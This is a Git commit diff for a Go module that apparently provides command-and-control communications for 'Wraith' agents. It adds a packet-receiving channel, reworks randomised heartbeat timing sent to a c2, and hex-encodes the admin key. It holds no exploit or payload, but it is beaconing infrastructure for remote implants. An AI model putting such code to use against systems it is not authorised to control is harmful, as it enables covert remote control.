fix: various

cmd/pc3/main.go

@@ -1,6 +1,7 @@
 package main
 
 import (
+	"context"
 	"crypto/ed25519"
 	"embed"
 	"encoding/hex"
@@ -166,11 +167,25 @@ func main() {
 	// Start pinecone.
 	go pm.Start()
 
+	// Start receiving messages.
+	// Background context is okay because the channel will be closed
+	// when the manager exits further down anyway.
+	recv := pm.RecvChan(context.Background())
+
+mainloop:
+	for {
+		select {
+		case <-sigchan:
+			break mainloop
+		case <-recv:
+			println("received message")
+		}
+	}
+
 	//
 	// On exit.
 	//
 
-	<-sigchan
 	fmt.Println("exit requested; exiting gracefully")
 
 	go func() {

internal/pmanager/pmanager.go

@@ -377,12 +377,30 @@ func (pm *manager) Recv(ctx context.Context) (proto.Packet, error) {
 	case p := <-pm.rxq:
 		return p, nil
 	case <-pm.ackExit:
-		return proto.Packet{}, fmt.Errorf("manager exited while trying to send packet")
+		return proto.Packet{}, fmt.Errorf("manager exited while trying to receive packet")
 	case <-ctx.Done():
 		return proto.Packet{}, fmt.Errorf("context cancelled while trying to receive packet (%e)", ctx.Err())
 	}
 }
 
+// Receive incoming packets from a channel.
+func (pm *manager) RecvChan(ctx context.Context) chan proto.Packet {
+	c := make(chan proto.Packet)
+	go func() {
+		defer func() {
+			close(c)
+		}()
+		for {
+			packet, err := pm.Recv(ctx)
+			if err != nil {
+				return
+			}
+			c <- packet
+		}
+	}()
+	return c
+}
+
 // Check whether the pinecone manager is currently running.
 func (pm *manager) IsRunning() bool {
 	return pm.startOnce.Doing()

internal/proto/constants.go

@@ -1,7 +1,5 @@
 package proto
 
-import "time"
-
 const (
 	// The version of the wraith-module-pinecomms protocol supported by the current
 	// version of the module. This is updated whenever a breaking change is made to
@@ -13,12 +11,12 @@ const (
 	// The prefix for all Wraith PineComms HTTP routes.
 	ROUTE_PREFIX = "/_wpc/" + CURRENT_PROTO + "/"
 
-	// Minimum time between heartbeat requests from Wraiths.
-	HEARTBEAT_INTERVAL_MIN = time.Second * 20
+	// Minimum time in seconds between heartbeat requests from Wraiths.
+	HEARTBEAT_INTERVAL_MIN = 20
 
-	// Maximum time between heartbeat requests from Wraiths.
-	HEARTBEAT_INTERVAL_MAX = time.Second * 40
+	// Maximum time in seconds between heartbeat requests from Wraiths.
+	HEARTBEAT_INTERVAL_MAX = 40
 
 	// The time after which a Wraith is marked as offline by the c2.
-	HEARTBEAT_MARK_DEAD_DELAY = HEARTBEAT_INTERVAL_MAX*2 + 1*time.Second
+	HEARTBEAT_MARK_DEAD_DELAY = HEARTBEAT_INTERVAL_MAX*2 + 1
 )

modulepinecomms.go

@@ -3,6 +3,7 @@ package modulepinecomms
 import (
 	"context"
 	"crypto/ed25519"
+	"encoding/hex"
 	"fmt"
 	"math/rand"
 	"sync"
@@ -62,19 +63,30 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
 	pm.SetUseMulticast(m.UseMulticast)
 	pm.SetStaticPeers(m.StaticPeers)
 
+	// Start the pinecone manager and make sure it stops when
+	// the module does.
+	defer func() {
+		pm.Stop()
+	}()
+	go pm.Start()
+
+	//
+	// Run the module.
+	//
+
 	// Heartbeat loop.
 	go func() {
 		for {
 			// Pick an interval between min and max for the next heartbeat.
-			interval := rand.Intn(int(
+			interval := rand.Intn(
 				proto.HEARTBEAT_INTERVAL_MAX - proto.HEARTBEAT_INTERVAL_MIN,
-			))
+			)
 
 			// Send heartbeat after interval or exit if requested.
 			select {
 			case <-ctx.Done():
 				return
-			case <-time.After(time.Duration(interval)):
+			case <-time.After(time.Duration(interval) * time.Second):
 				// Build a heartbeat data packet.
 				// TODO
 				heartbeatData := proto.Heartbeat{
@@ -93,7 +105,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
 
 				// Send the packet.
 				pm.Send(ctx, proto.Packet{
-					Peer:   string(m.AdminPubKey),
+					Peer:   hex.EncodeToString(m.AdminPubKey),
 					Method: "POST",
 					Route:  proto.ROUTE_HEARTBEAT,
 					Data:   heartbeatBytes,